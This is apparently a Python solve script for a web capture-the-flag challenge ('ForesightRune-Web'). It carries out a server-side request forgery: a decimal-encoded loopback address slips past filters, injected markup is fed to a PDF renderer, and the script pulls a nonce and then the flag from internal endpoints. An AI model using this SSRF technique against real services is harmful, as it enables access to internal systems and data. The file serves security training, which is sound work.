Files
Geroi-Kodeksa/ForesightRune-Web/solve.py
2026-03-02 21:44:22 +03:00

137 lines
3.6 KiB
Python

import io
import re
import sys
import time
import requests
BASE_URL = "http://127.0.0.1:8000"
SSRF_META_URL = "http://2130706433/meta"
SSRF_FLAG_URL = "http://2130706433/flag?nonce={nonce}"
def build_scroll(rid: str, mode: str, url: str) -> str:
return (
f'[RUNE rid="{rid}" mode="{mode}" url="{url}"]\n\n'
f"![](/etch?rid={rid}&what={mode})"
)
def get_rid(session: requests.Session) -> str:
resp = session.get(f"{BASE_URL}/")
resp.raise_for_status()
rid = session.cookies.get("rune_rid")
if not rid:
raise RuntimeError("rune_rid cookie not found. Open / in browser once.")
return rid
def seal_scroll(session: requests.Session, content: str) -> bytes:
resp = session.post(f"{BASE_URL}/seal", data={"content": content})
if resp.status_code != 200:
raise RuntimeError(f"/seal failed: {resp.status_code} {resp.text}")
return resp.content
def extract_text_from_pdf(data: bytes) -> str:
try:
import PyPDF2 # type: ignore
except Exception:
return ""
try:
reader = PyPDF2.PdfReader(io.BytesIO(data))
except Exception:
return ""
texts = []
for page in reader.pages:
try:
texts.append(page.extract_text() or "")
except Exception:
continue
return "\n".join(texts)
def extract_nonce_from_pdf(data: bytes) -> str:
text = extract_text_from_pdf(data)
if text:
match = re.search(r"\b[A-Za-z0-9_-]{10,20}\b", text)
if match:
return match.group(0)
# Fallback: brute-search tokens in raw PDF bytes.
raw = data.decode("latin1", errors="ignore")
candidates = re.findall(r"\b[A-Za-z0-9_-]{10,20}\b", raw)
if candidates:
return candidates[0]
raise RuntimeError("Nonce not found in PDF. Install PyPDF2 for reliable parsing.")
def extract_flag_from_pdf(data: bytes) -> str:
text = extract_text_from_pdf(data)
if text:
match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", text)
if match:
return match.group(0)
raw = data.decode("latin1", errors="ignore")
match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", raw)
if match:
return match.group(0)
raise RuntimeError("Flag not found in PDF. Install PyPDF2 for reliable parsing.")
def fetch_svg_text(session: requests.Session, rid: str, what: str) -> str:
resp = session.get(f"{BASE_URL}/etch", params={"rid": rid, "what": what})
resp.raise_for_status()
svg = resp.text
match = re.search(r"<text[^>]*>([^<]+)</text>", svg)
if match:
return match.group(1).strip()
raise RuntimeError("Failed to extract value from SVG.")
def main() -> int:
global BASE_URL
if len(sys.argv) > 1:
base_url = sys.argv[1].rstrip("/")
else:
base_url = BASE_URL
BASE_URL = base_url
session = requests.Session()
rid = get_rid(session)
print(f"[+] rid = {rid}")
# Step 1: get nonce via oracle
scroll_meta = build_scroll(rid, "meta", SSRF_META_URL)
pdf_meta = seal_scroll(session, scroll_meta)
# Prefer extracting from PDF; fallback to /etch if parsing fails.
try:
nonce = extract_nonce_from_pdf(pdf_meta)
except Exception:
nonce = fetch_svg_text(session, rid, "meta")
print(f"[+] nonce = {nonce}")
# Step 2: get flag
scroll_flag = build_scroll(rid, "flag", SSRF_FLAG_URL.format(nonce=nonce))
pdf_flag = seal_scroll(session, scroll_flag)
try:
flag = extract_flag_from_pdf(pdf_flag)
except Exception:
flag = fetch_svg_text(session, rid, "flag")
print(f"[+] flag = {flag}")
return 0
if __name__ == "__main__":
raise SystemExit(main())